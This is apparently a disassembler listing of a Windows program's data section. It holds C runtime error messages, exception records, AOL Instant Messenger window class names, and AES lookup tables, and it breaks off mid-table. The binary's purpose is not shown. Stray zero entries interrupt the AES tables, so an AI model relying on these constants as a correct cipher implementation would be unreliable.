sub_4210E3+2o align 8 stru_429F58 _msEH <0FFFFFFFFh, 0, offset sub_421300> ; DATA XREF: sub_421234+2o dd 2 dup(0) dd offset sub_4212CF dword_429F70 dd 2 dup(0) ; DATA XREF: sub_421354+1Co ; sub_4242B5+1Eo stru_429F78 _msEH <0FFFFFFFFh, offset loc_42164D, offset loc_421651> ; DATA XREF: sub_421354+2o dd 0FFFFFFFFh, 42144Ah, 42144Eh, 0FFFFFFFFh, 421518h, 42151Ch dd 0 stru_429FA0 _msEH <0FFFFFFFFh, 0, offset sub_4219B0> ; DATA XREF: sub_421909+2o align 10h stru_429FB0 _msEH <0FFFFFFFFh, 0, offset sub_421B50> ; DATA XREF: sub_421AB7+2o dd 2 dup(0) dd offset loc_421B2A stru_429FC8 _msEH <0FFFFFFFFh, 0, offset sub_421ECB> ; DATA XREF: sub_421E86+2o align 8 stru_429FD8 _msEH <0FFFFFFFFh, 0, offset sub_42221B> ; DATA XREF: sub_422197+2o align 8 stru_429FE8 _msEH <0FFFFFFFFh, 0, offset sub_422494> ; DATA XREF: sub_422410+2o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 0 aR6029ThisAppli db 'R6029',0Dh,0Ah db '- This application cannot run using the active version of the Mic' db 'rosoft .NET Runtime',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 4 aR6028UnableToI db 'R6028',0Dh,0Ah db '- unable to initialize heap',0Dh,0Ah,0 align 4 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 10h aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aThisApplicatio db 0Dh,0Ah db 'This application has requested the Runtime to terminate it in an ' db 'unusual way.',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .text:off_4338A4o db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4224BB+123o ; sub_423E1A+132o align 10h asc_42A3C0 db 0Ah ; DATA XREF: sub_4224BB+107o ; sub_423E1A+FCo db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4224BB+F5o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_4224BB+C1o ; sub_423E1A+CCo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4224BB+8Eo ; sub_423E1A+8Bo align 10h stru_42A400 _msEH <0FFFFFFFFh, offset loc_422CEA, offset loc_422CEE> ; DATA XREF: sub_422CBD+2o align 10h stru_42A410 _msEH <0FFFFFFFFh, offset loc_422D2E, offset loc_422D32> ; DATA XREF: sub_422D01+2o align 10h stru_42A420 _msEH <0FFFFFFFFh, 0, offset sub_423088> ; DATA XREF: sub_422FDB+2o align 10h dd offset loc_42304E dd offset loc_423057 stru_42A438 _msEH <0FFFFFFFFh, offset sub_4230DD, offset loc_4230E6> ; DATA XREF: sub_4230A9+2o align 8 stru_42A448 _msEH <0FFFFFFFFh, 0, offset sub_42325C> ; DATA XREF: sub_42310D+2o align 8 dd offset loc_423198 dd offset loc_4231E7 stru_42A460 _msEH <0FFFFFFFFh, offset sub_423441, offset loc_423445> ; DATA XREF: sub_4232D1+2o align 10h stru_42A470 _msEH <0FFFFFFFFh, offset loc_42383D, offset loc_423841> ; DATA XREF: sub_423818+2o align 10h stru_42A480 _msEH <0FFFFFFFFh, offset loc_42386A, offset loc_42386E> ; DATA XREF: sub_42384D+2o align 10h dbl_42A490 dq 0.0 ; DATA XREF: sub_4239C1+6r ; sub_424FC9+8Dr ... dword_42A498 dd 30302B65h, 30h ; DATA XREF: sub_423A36+52o dbl_42A4A0 dq 4.195835e6 ; DATA XREF: sub_423D4B+Fr dbl_42A4A8 dq 3.145727e6 ; DATA XREF: sub_423D4B+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_423D8B+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_423D8Bo align 4 aProgram db 'Program: ',0 ; DATA XREF: sub_423E1A+108o align 8 aABufferOverrun db 'A buffer overrun has been detected which has corrupted the progra' ; DATA XREF: sub_423E1A+62o db 'm',27h,'s',0Ah db 'internal state. The program cannot safely continue execution and' db ' must',0Ah db 'now be terminated.',0Ah,0 aBufferOverrunD db 'Buffer overrun detected!',0 ; DATA XREF: sub_423E1A:loc_423E77o align 8 aASecurityError db 'A security error of unknown cause has been detected which has',0Ah ; DATA XREF: sub_423E1A+4Co db 'corrupted the program',27h,'s internal state. The program cannot sa' db 'fely',0Ah db 'continue execution and must now be terminated.',0Ah,0 align 4 aUnknownSecurit db 'Unknown security failure detected!',0 ; DATA XREF: sub_423E1A+47o align 10h stru_42A680 _msEH <0FFFFFFFFh, offset loc_423E52, offset loc_423E56> ; DATA XREF: sub_423E1A+5o aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_423F72+2Do align 8 stru_42A6B8 _msEH <0FFFFFFFFh, offset loc_423FCF, offset loc_423FDD> ; DATA XREF: sub_423F72+2o align 8 stru_42A6C8 _msEH <0FFFFFFFFh, 0, offset sub_4240F5> ; DATA XREF: sub_424071+2o align 8 stru_42A6D8 _msEH <0FFFFFFFFh, offset loc_42438E, offset loc_424392> ; DATA XREF: sub_4242B5+2o dd 6D3A4848h, 73733A6Dh, 0 ; DATA XREF: .text:00433A40o aDdddMmmmDdYyyy db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .text:00433A3Co aMmDdYy db 'MM/dd/yy',0 ; DATA XREF: .text:00433A38o align 10h aPm db 'PM',0 ; DATA XREF: .text:00433A34o align 4 aAm db 'AM',0 ; DATA XREF: .text:00433A30o align 4 aDecember db 'December',0 ; DATA XREF: .text:00433A2Co align 4 aNovember db 'November',0 ; DATA XREF: .text:00433A28o align 10h aOctober db 'October',0 ; DATA XREF: .text:00433A24o aSeptember db 'September',0 ; DATA XREF: .text:00433A20o align 4 aAugust db 'August',0 ; DATA XREF: .text:00433A1Co align 4 aJuly db 'July',0 ; DATA XREF: .text:00433A18o align 4 aJune db 'June',0 ; DATA XREF: .text:00433A14o align 4 aApril db 'April',0 ; DATA XREF: .text:00433A0Co align 4 aMarch db 'March',0 ; DATA XREF: .text:00433A08o align 4 aFebruary db 'February',0 ; DATA XREF: .text:00433A04o align 4 aJanuary db 'January',0 ; DATA XREF: .text:00433A00o aSaturday db 'Saturday',0 ; DATA XREF: .text:004339CCo align 4 aFriday db 'Friday',0 ; DATA XREF: .text:004339C8o align 4 aThursday db 'Thursday',0 ; DATA XREF: .text:004339C4o align 10h aWednesday db 'Wednesday',0 ; DATA XREF: .text:004339C0o align 4 aTuesday db 'Tuesday',0 ; DATA XREF: .text:004339BCo aMonday db 'Monday',0 ; DATA XREF: .text:004339B8o align 4 aSunday db 'Sunday',0 ; DATA XREF: .text:004339B4o align 4 aSat db 'Sat',0 ; DATA XREF: .text:004339B0o aFri db 'Fri',0 ; DATA XREF: .text:004339ACo aThu db 'Thu',0 ; DATA XREF: .text:004339A8o aWed db 'Wed',0 ; DATA XREF: .text:004339A4o aTue db 'Tue',0 ; DATA XREF: .text:004339A0o aMon db 'Mon',0 ; DATA XREF: .text:0043399Co aSun db 'Sun',0 ; DATA XREF: .text:off_433998o stru_42A7E0 _msEH <0FFFFFFFFh, 0, offset sub_424A17> ; DATA XREF: sub_4249B4+2o align 10h stru_42A7F0 _msEH <0FFFFFFFFh, 0, offset sub_424CFA> ; DATA XREF: sub_424BB3+2o a_nextafter db '_nextafter',0 align 4 a_logb db '_logb',0 align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aFabs db 'fabs',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 10h aAtan2 db 'atan2',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h stru_42A890 _msEH <0FFFFFFFFh, 0, offset sub_425660> ; DATA XREF: .text:004255D0o align 10h stru_42A8A0 _msEH <0FFFFFFFFh, 0, offset sub_425839> ; DATA XREF: sub_4257A5+2o align 10h stru_42A8B0 _msEH <0FFFFFFFFh, 0, offset sub_4259DA> ; DATA XREF: sub_425867+2o dd 2 dup(0) dd offset sub_42593A stru_42A8C8 _msEH <0FFFFFFFFh, 0, offset sub_425A80> ; DATA XREF: sub_4259E3+2o align 8 stru_42A8D8 _msEH <0FFFFFFFFh, offset loc_425BB4, offset loc_425BB8> ; DATA XREF: sub_425AE2+2o aGetprocesswind db 'GetProcessWindowStation',0 ; DATA XREF: sub_426724+73o aGetuserobjecti db 'GetUserObjectInformationA',0 ; DATA XREF: sub_426724+62o align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_426724+47o align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_426724+3Fo aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_426724+2Eo aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_426724+13o align 4 aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 8 stru_42A998 _msEH <0FFFFFFFFh, 0, offset sub_4273C4> ; DATA XREF: sub_427291+2o dword_42A9A4 dd 4E512331h, 4E41h ; DATA XREF: sub_42740A:loc_4274F6o dword_42A9AC dd 4E492331h, 46h ; DATA XREF: sub_42740A+CFo dword_42A9B4 dd 4E492331h, 44h ; DATA XREF: sub_42740A+BEo dword_42A9BC dd 4E532331h, 4E41h ; DATA XREF: sub_42740A+A4o off_42A9C4 dd offset sub_4016AD ; DATA XREF: sub_401672+18o dd offset sub_408B3D dd offset nullsub_3 aVectorTTooLong db 'vector<T> too long',0 ; DATA XREF: sub_40C38F+Do align 4 aSmarterchild db 'SmarterChild',0 ; DATA XREF: sub_4013EC+1E2o align 4 aShoppingbuddy db 'ShoppingBuddy',0 ; DATA XREF: sub_4013EC+1CEo align 4 aMoviefone db 'Moviefone',0 ; DATA XREF: sub_4013EC+1BAo align 10h a_oscar_tree db '_Oscar_Tree',0 ; DATA XREF: sub_4013EC+5Eo aAolmail db 'AOLMAIL',0 ; DATA XREF: sub_401236+ECo ; sub_401236+151o ... aAte32class db 'Ate32Class',0 ; DATA XREF: sub_401236+C2o ; sub_416362+24o align 10h aCbclass db 'CBClass',0 ; DATA XREF: sub_401236+ABo aWndate32class db 'WndAte32Class',0 ; DATA XREF: sub_401236+90o align 4 a_oscar_persist db '_Oscar_PersistantCombo',0 ; DATA XREF: sub_401236+54o align 10h aAim_imessage db 'AIM_IMessage',0 ; DATA XREF: sub_401236+34o align 10h a_aimad db '_AimAd',0 ; DATA XREF: sub_4011D1+43o align 4 a32770 db '#32770',0 ; DATA XREF: sub_4011D1+30o ; sub_4013EC+50o align 10h a_oscar_statusn db '_Oscar_StatusNotify',0 ; DATA XREF: sub_4011B2+3o align 8 dd offset aS_0 ; "S" dd offset aM ; "M" dd offset aD_0 ; "D" dd offset aB ; "B" dd offset aVal ; "Val" dd offset aForceremove ; "ForceRemove" dd offset aNoremove ; "NoRemove" dd offset aDelete ; "Delete" dd offset aS_0 ; "S" dd offset aM ; "M" dd offset aD_0 ; "D" dd offset aB ; "B" dd offset aVal ; "Val" dd offset aForceremove ; "ForceRemove" dd offset aNoremove ; "NoRemove" dd offset aDelete ; "Delete" dd offset aS_0 ; "S" dd offset aM ; "M" dd offset aD_0 ; "D" dd offset aB ; "B" dd offset aVal ; "Val" dd offset aForceremove ; "ForceRemove" dd offset aNoremove ; "NoRemove" dd offset aDelete ; "Delete" dd offset aS_0 ; "S" dd offset aM ; "M" dd offset aD_0 ; "D" dd offset aB ; "B" dd offset aVal ; "Val" dd offset aForceremove ; "ForceRemove" dd offset aNoremove ; "NoRemove" dd offset aDelete ; "Delete" dd offset aS_0 ; "S" dd offset aM ; "M" dd offset aD_0 ; "D" dd offset aB ; "B" dd offset aVal ; "Val" dd offset aForceremove ; "ForceRemove" dd offset aNoremove ; "NoRemove" dd offset aDelete ; "Delete" dd offset aS_0 ; "S" dd offset aM ; "M" dd offset aD_0 ; "D" dd offset aB ; "B" dd offset aVal ; "Val" dd offset aForceremove ; "ForceRemove" dd offset aNoremove ; "NoRemove" dd offset aDelete ; "Delete" dd offset aS_0 ; "S" dd offset aM ; "M" dd offset aD_0 ; "D" dd offset aB ; "B" dd offset aVal ; "Val" dd offset aForceremove ; "ForceRemove" dd offset aNoremove ; "NoRemove" dd offset aDelete ; "Delete" dd offset aS_0 ; "S" dd offset aM ; "M" dd offset aD_0 ; "D" dd offset aB ; "B" dd offset aVal ; "Val" dd offset aForceremove ; "ForceRemove" dd offset aNoremove ; "NoRemove" dd offset aDelete ; "Delete" dd offset aS_0 ; "S" dd offset aM ; "M" dd offset aD_0 ; "D" dd offset aB ; "B" dd offset aVal ; "Val" dd offset aForceremove ; "ForceRemove" dd offset aNoremove ; "NoRemove" dd offset aDelete ; "Delete" dd offset aS_0 ; "S" dd offset aM ; "M" dd offset aD_0 ; "D" dd offset aB ; "B" dd offset aVal ; "Val" dd offset aForceremove ; "ForceRemove" dd offset aNoremove ; "NoRemove" dd offset aDelete ; "Delete" dword_42ABD8 dd 10101011h, 42FD08h, 42FD04h, 42FD00h, 42FCFCh, 42FCF8h ; DATA XREF: sub_40DB56+1CBo dd 42FCECh, 42FCE0h, 42FCD8h, 42FD08h, 42FD04h, 42FD00h dd 42FCFCh, 42FCF8h, 42FCECh, 42FCE0h, 42FCD8h, 42FD08h dd 42FD04h, 42FD00h, 42FCFCh, 42FCF8h, 42FCECh, 42FCE0h dd 42FCD8h, 42FD08h, 42FD04h, 42FD00h, 42FCFCh, 42FCF8h dd 42FCECh, 42FCE0h, 42FCD8h, 0 dword_42AC60 dd 1 ; DATA XREF: sub_41B3D5+1A8r ; sub_41B3D5+2CAr ... dd 2, 4, 8, 10h, 20h, 40h, 80h, 1Bh, 36h, 6Ch, 0D8h, 0ABh dd 4Dh, 9Ah, 2Fh, 5Eh, 0BCh, 63h, 0C6h, 97h, 35h, 6Ah dd 0D4h, 0B3h, 7Dh, 0FAh, 0EFh, 0C5h, 0 dword_42ACD8 dd 0A56363C6h ; DATA XREF: sub_41954F+175r ; sub_41954F+1B5r ... dd 847C7CF8h, 997777EEh, 8D7B7BF6h, 0DF2F2FFh, 0BD6B6BD6h dd 0B16F6FDEh, 54C5C591h, 50303060h, 3010102h, 0A96767CEh dd 7D2B2B56h, 19FEFEE7h, 62D7D7B5h, 0E6ABAB4Dh, 9A7676ECh dd 45CACA8Fh, 9D82821Fh, 40C9C989h, 877D7DFAh, 15FAFAEFh dd 0EB5959B2h, 0C947478Eh, 0BF0F0FBh, 0ECADAD41h, 67D4D4B3h dd 0FDA2A25Fh, 0EAAFAF45h, 0BF9C9C23h, 0F7A4A453h, 967272E4h dd 5BC0C09Bh, 0C2B7B775h, 1CFDFDE1h, 0AE93933Dh, 6A26264Ch dd 5A36366Ch, 413F3F7Eh, 2F7F7F5h, 4FCCCC83h, 5C343468h dd 0F4A5A551h, 34E5E5D1h, 8F1F1F9h, 937171E2h, 73D8D8ABh dd 53313162h, 3F15152Ah, 0C040408h, 52C7C795h, 65232346h dd 5EC3C39Dh, 28181830h, 0A1969637h, 0F05050Ah, 0B59A9A2Fh dd 907070Eh, 36121224h, 9B80801Bh, 3DE2E2DFh, 26EBEBCDh dd 6927274Eh, 0CDB2B27Fh, 9F7575EAh, 1B090912h, 9E83831Dh dd 742C2C58h, 2E1A1A34h, 2D1B1B36h, 0B26E6EDCh, 0EE5A5AB4h dd 0FBA0A05Bh, 0F65252A4h, 4D3B3B76h, 61D6D6B7h, 0CEB3B37Dh dd 7B292952h, 3EE3E3DDh, 712F2F5Eh, 97848413h, 0F55353A6h dd 68D1D1B9h, 0 dd 2CEDEDC1h, 60202040h, 1FFCFCE3h, 0C8B1B179h, 0ED5B5BB6h dd 0BE6A6AD4h, 46CBCB8Dh, 0D9BEBE67h, 4B393972h, 0DE4A4A94h dd 0D44C4C98h, 0E85858B0h, 4ACFCF85h, 6BD0D0BBh, 2AEFEFC5h dd 0E5AAAA4Fh, 16FBFBEDh, 0C5434386h, 0D74D4D9Ah, 55333366h dd 94858511h, 0CF45458Ah, 10F9F9E9h, 6020204h, 817F7FFEh dd 0F05050A0h, 443C3C78h, 0BA9F9F25h, 0E3A8A84Bh, 0F35151A2h dd 0FEA3A35Dh, 0C0404080h, 8A8F8F05h, 0AD92923Fh, 0BC9D9D21h dd 48383870h, 4F5F5F1h, 0DFBCBC63h, 0C1B6B677h, 75DADAAFh dd 63212142h, 30101020h, 1AFFFFE5h, 0EF3F3FDh, 6DD2D2BFh dd 4CCDCD81h, 140C0C18h, 35131326h, 2FECECC3h, 0E15F5FBEh dd 0A2979735h, 0CC444488h, 3917172Eh, 57C4C493h, 0F2A7A755h dd 827E7EFCh, 473D3D7Ah, 0AC6464C8h, 0E75D5DBAh, 2B191932h dd 957373E6h, 0A06060C0h, 98818119h, 0D14F4F9Eh, 7FDCDCA3h dd 66222244h, 7E2A2A54h, 0AB90903Bh, 8388880Bh, 0CA46468Ch dd 29EEEEC7h, 0D3B8B86Bh, 3C141428h, 79DEDEA7h, 0E25E5EBCh dd 1D0B0B16h, 76DBDBADh, 3BE0E0DBh, 56323264h, 4E3A3A74h dd 1E0A0A14h, 0DB494992h, 0A06060Ch, 6C242448h, 0E45C5CB8h dd 5DC2C29Fh, 6ED3D3BDh, 0EFACAC43h, 0A66262C4h, 0A8919139h dd 0A4959531h, 37E4E4D3h, 8B7979F2h, 32E7E7D5h, 43C8C88Bh dd 5937376Eh, 0B76D6DDAh, 8C8D8D01h, 64D5D5B1h, 0D24E4E9Ch dd 0E0A9A949h, 0B46C6CD8h, 0FA5656ACh, 7F4F4F3h, 25EAEACFh dd 0AF6565CAh, 8E7A7AF4h, 0E9AEAE47h, 18080810h, 0D5BABA6Fh dd 887878F0h, 6F25254Ah, 722E2E5Ch, 241C1C38h, 0F1A6A657h dd 0C7B4B473h, 51C6C697h, 23E8E8CBh, 7CDDDDA1h, 9C7474E8h dd 211F1F3Eh, 0DD4B4B96h, 0DCBDBD61h, 868B8B0Dh, 858A8A0Fh dd 907070E0h, 423E3E7Ch, 0C4B5B571h, 0AA6666CCh, 0D8484890h dd 5030306h, 1F6F6F7h, 120E0E1Ch, 0A36161C2h, 5F35356Ah dd 0F95757AEh, 0D0B9B969h, 91868617h, 58C1C199h, 271D1D3Ah dd 0B99E9E27h, 38E1E1D9h, 13F8F8EBh, 0B398982Bh, 33111122h dd 0BB6969D2h, 70D9D9A9h, 898E8E07h, 0A7949433h, 0B69B9B2Dh dd 221E1E3Ch, 92878715h, 20E9E9C9h, 49CECE87h, 0FF5555AAh dd 78282850h, 7ADFDFA5h, 8F8C8C03h, 0F8A1A159h, 80898909h dd 170D0D1Ah, 0DABFBF65h, 31E6E6D7h, 0C6424284h, 0B86868D0h dd 0C3414182h, 0B0999929h, 772D2D5Ah, 110F0F1Eh, 0CBB0B07Bh dd 0FC5454A8h, 0D6BBBB6Dh, 3A16162Ch dword_42B0D8 dd 6363C6A5h ; DATA XREF: sub_41954F+16Ar ; sub_41954F+1ABr ... dd 7C7CF884h, 7777EE99h, 7B7BF68Dh, 0F2F2FF0Dh, 6B6BD6BDh dd 6F6FDEB1h, 0C5C59154h, 30306050h, 1010203h, 6767CEA9h dd 2B2B567Dh, 0FEFEE719h, 0D7D7B562h, 0ABAB4DE6h, 7676EC9Ah dd 0CACA8F45h, 82821F9Dh, 0C9C98940h, 7D7DFA87h, 0FAFAEF15h dd 5959B2EBh, 47478EC9h, 0F0F0FB0Bh, 0ADAD41ECh, 0D4D4B367h dd 0A2A25FFDh, 0AFAF45EAh, 9C9C23BFh, 0A4A453F7h, 7272E496h dd 0C0C09B5Bh, 0B7B775C2h, 0FDFDE11Ch, 93933DAEh, 26264C6Ah dd 36366C5Ah, 3F3F7E41h, 0F7F7F502h, 0CCCC834Fh, 3434685Ch dd 0A5A551F4h, 0E5E5D134h, 0F1F1F908h, 7171E293h, 0D8D8AB73h dd 31316253h, 15152A3Fh, 404080Ch, 0C7C79552h, 23234665h dd 0C3C39D5Eh, 18183028h, 969637A1h, 5050A0Fh, 9A9A2FB5h dd 7070E09h, 12122436h, 80801B9Bh, 0E2E2DF3Dh, 0EBEBCD26h dd 27274E69h, 0B2B27FCDh, 7575EA9Fh, 909121Bh, 83831D9Eh dd 2C2C5874h, 1A1A342Eh, 1B1B362Dh, 6E6EDCB2h, 5A5AB4EEh dd 0A0A05BFBh, 5252A4F6h, 3B3B764Dh, 0D6D6B761h, 0B3B37DCEh dd 2929527Bh, 0E3E3DD3Eh, 2F2F5E71h, 84841397h, 5353A6F5h dd 0D1D1B968h, 0 dd 0EDEDC12Ch, 20204060h, 0FCFCE31Fh, 0B1B179C8h, 5B5BB6EDh dd 6A6AD4BEh, 0CBCB8D46h, 0BEBE67D9h, 3939724Bh, 4A4A94DEh dd 4C4C98D4h, 5858B0E8h, 0CFCF854Ah, 0D0D0BB6Bh, 0EFEFC52Ah dd 0AAAA4FE5h, 0FBFBED16h, 434386C5h, 4D4D9AD7h, 33336655h dd 85851194h, 45458ACFh, 0F9F9E910h, 2020406h, 7F7FFE81h dd 5050A0F0h, 3C3C7844h, 9F9F25BAh, 0A8A84BE3h, 5151A2F3h dd 0A3A35DFEh, 404080C0h, 8F8F058Ah, 92923FADh, 9D9D21BCh dd 38387048h, 0F5F5F104h, 0BCBC63DFh, 0B6B677C1h, 0DADAAF75h dd 21214263h, 10102030h, 0FFFFE51Ah, 0F3F3FD0Eh, 0D2D2BF6Dh dd 0CDCD814Ch, 0C0C1814h, 13132635h, 0ECECC32Fh, 5F5FBEE1h dd 979735A2h, 444488CCh, 17172E39h, 0C4C49357h, 0A7A755F2h dd 7E7EFC82h, 3D3D7A47h, 6464C8ACh, 5D5DBAE7h, 1919322Bh dd 7373E695h, 6060C0A0h, 81811998h, 4F4F9ED1h, 0DCDCA37Fh dd 22224466h, 2A2A547Eh, 90903BABh, 88880B83h, 46468CCAh dd 0EEEEC729h, 0B8B86BD3h, 1414283Ch, 0DEDEA779h, 5E5EBCE2h dd 0B0B161Dh, 0DBDBAD76h, 0E0E0DB3Bh, 32326456h, 3A3A744Eh dd 0A0A141Eh, 494992DBh, 6060C0Ah, 2424486Ch, 5C5CB8E4h dd 0C2C29F5Dh, 0D3D3BD6Eh, 0ACAC43EFh, 6262C4A6h, 919139A8h dd 959531A4h, 0E4E4D337h, 7979F28Bh, 0E7E7D532h, 0C8C88B43h dd 37376E59h, 6D6DDAB7h, 8D8D018Ch, 0D5D5B164h, 4E4E9CD2h dd 0A9A949E0h, 6C6CD8B4h, 5656ACFAh, 0F4F4F307h, 0EAEACF25h dd 6565CAAFh, 7A7AF48Eh, 0AEAE47E9h, 8081018h, 0BABA6FD5h dd 7878F088h, 25254A6Fh, 2E2E5C72h, 1C1C3824h, 0A6A657F1h dd 0B4B473C7h, 0C6C69751h, 0E8E8CB23h, 0DDDDA17Ch, 7474E89Ch dd 1F1F3E21h, 4B4B96DDh, 0BDBD61DCh, 8B8B0D86h, 8A8A0F85h dd 7070E090h, 3E3E7C42h, 0B5B571C4h, 6666CCAAh, 484890D8h dd 3030605h, 0F6F6F701h, 0E0E1C12h, 6161C2A3h, 35356A5Fh dd 5757AEF9h, 0B9B969D0h, 86861791h, 0C1C19958h, 1D1D3A27h dd 9E9E27B9h, 0E1E1D938h, 0F8F8EB13h, 98982BB3h, 11112233h dd 6969D2BBh, 0D9D9A970h, 8E8E0789h, 949433A7h, 9B9B2DB6h dd 1E1E3C22h, 87871592h, 0E9E9C920h, 0CECE8749h, 5555AAFFh dd 28285078h, 0DFDFA57Ah, 8C8C038Fh, 0A1A159F8h, 89890980h dd 0D0D1A17h, 0BFBF65DAh, 0E6E6D731h, 424284C6h, 6868D0B8h dd 414182C3h, 999929B0h, 2D2D5A77h, 0F0F1E11h, 0B0B07BCBh dd 5454A8FCh, 0BBBB6DD6h, 16162C3Ah dword_42B4D8 dd 63C6A563h ; DATA XREF: sub_41954F+160r ; sub_41954F+1A1r ... dd 7CF8847Ch, 77EE9977h, 7BF68D7Bh, 0F2FF0DF2h, 6BD6BD6Bh dd 6FDEB16Fh, 0C59154C5h, 30605030h, 1020301h, 67CEA967h dd 2B567D2Bh, 0FEE719FEh, 0D7B562D7h, 0AB4DE6ABh, 76EC9A76h dd 0CA8F45CAh, 821F9D82h, 0C98940C9h, 7DFA877Dh, 0FAEF15FAh dd 59B2EB59h, 478EC947h, 0F0FB0BF0h, 0AD41ECADh, 0D4B367D4h dd 0A25FFDA2h, 0AF45EAAFh, 9C23BF9Ch, 0A453F7A4h, 72E49672h dd 0C09B5BC0h, 0B775C2B7h, 0FDE11CFDh, 933DAE93h, 264C6A26h dd 366C5A36h, 3F7E413Fh, 0F7F502F7h, 0CC834FCCh, 34685C34h dd 0A551F4A5h, 0E5D134E5h, 0F1F908F1h, 71E29371h, 0D8AB73D8h dd 31625331h, 152A3F15h, 4080C04h, 0C79552C7h, 23466523h dd 0C39D5EC3h, 18302818h, 9637A196h, 50A0F05h, 9A2FB59Ah dd 70E0907h, 12243612h, 801B9B80h, 0E2DF3DE2h, 0EBCD26EBh dd 274E6927h, 0B27FCDB2h, 75EA9F75h, 9121B09h, 831D9E83h dd 2C58742Ch, 1A342E1Ah, 1B362D1Bh, 6EDCB26Eh, 5AB4EE5Ah dd 0A05BFBA0h, 52A4F652h, 3B764D3Bh, 0D6B761D6h, 0B37DCEB3h dd 29527B29h, 0E3DD3EE3h, 2F5E712Fh, 84139784h, 53A6F553h dd 0D1B968D1h, 0 dd 0EDC12CEDh, 20406020h, 0FCE31FFCh, 0B179C8B1h, 5BB6ED5Bh dd 6AD4BE6Ah, 0CB8D46CBh, 0BE67D9BEh, 39724B39h, 4A94DE4Ah dd 4C98D44Ch, 58B0E858h, 0CF854ACFh, 0D0BB6BD0h, 0EFC52AEFh dd 0AA4FE5AAh, 0FBED16FBh, 4386C543h, 4D9AD74Dh, 33665533h dd 85119485h, 458ACF45h, 0F9E910F9h, 2040602h, 7FFE817Fh dd 50A0F050h, 3C78443Ch, 9F25BA9Fh, 0A84BE3A8h, 51A2F351h dd 0A35DFEA3h, 4080C040h, 8F058A8Fh, 923FAD92h, 9D21BC9Dh dd 38704838h, 0F5F104F5h, 0BC63DFBCh, 0B677C1B6h, 0DAAF75DAh dd 21426321h, 10203010h, 0FFE51AFFh, 0F3FD0EF3h, 0D2BF6DD2h dd 0CD814CCDh, 0C18140Ch, 13263513h, 0ECC32FECh, 5FBEE15Fh dd 9735A297h, 4488CC44h, 172E3917h, 0C49357C4h, 0A755F2A7h dd 7EFC827Eh, 3D7A473Dh, 64C8AC64h, 5DBAE75Dh, 19322B19h dd 73E69573h, 60C0A060h, 81199881h, 4F9ED14Fh, 0DCA37FDCh dd 22446622h, 2A547E2Ah, 903BAB90h, 880B8388h, 468CCA46h dd 0EEC729EEh, 0B86BD3B8h, 14283C14h, 0DEA779DEh, 5EBCE25Eh dd 0B161D0Bh, 0DBAD76DBh, 0E0DB3BE0h, 32645632h, 3A744E3Ah dd 0A141E0Ah, 4992DB49h, 60C0A06h, 24486C24h, 5CB8E45Ch dd 0C29F5DC2h, 0D3BD6ED3h, 0AC43EFACh, 62C4A662h, 9139A891h dd 9531A495h, 0E4D337E4h, 79F28B79h, 0E7D532E7h, 0C88B43C8h dd 376E5937h, 6DDAB76Dh, 8D018C8Dh, 0D5B164D5h, 4E9CD24Eh dd 0A949E0A9h, 6CD8B46Ch, 56ACFA56h, 0F4F307F4h, 0EACF25EAh dd 65CAAF65h, 7AF48E7Ah, 0AE47E9AEh, 8101808h, 0BA6FD5BAh dd 78F08878h, 254A6F25h, 2E5C722Eh, 1C38241Ch, 0A657F1A6h dd 0B473C7B4h, 0C69751C6h, 0E8CB23E8h, 0DDA17CDDh, 74E89C74h dd 1F3E211Fh, 4B96DD4Bh, 0BD61DCBDh, 8B0D868Bh, 8A0F858Ah dd 70E09070h, 3E7C423Eh, 0B571C4B5h, 66CCAA66h, 4890D848h dd 3060503h, 0F6F701F6h, 0E1C120Eh, 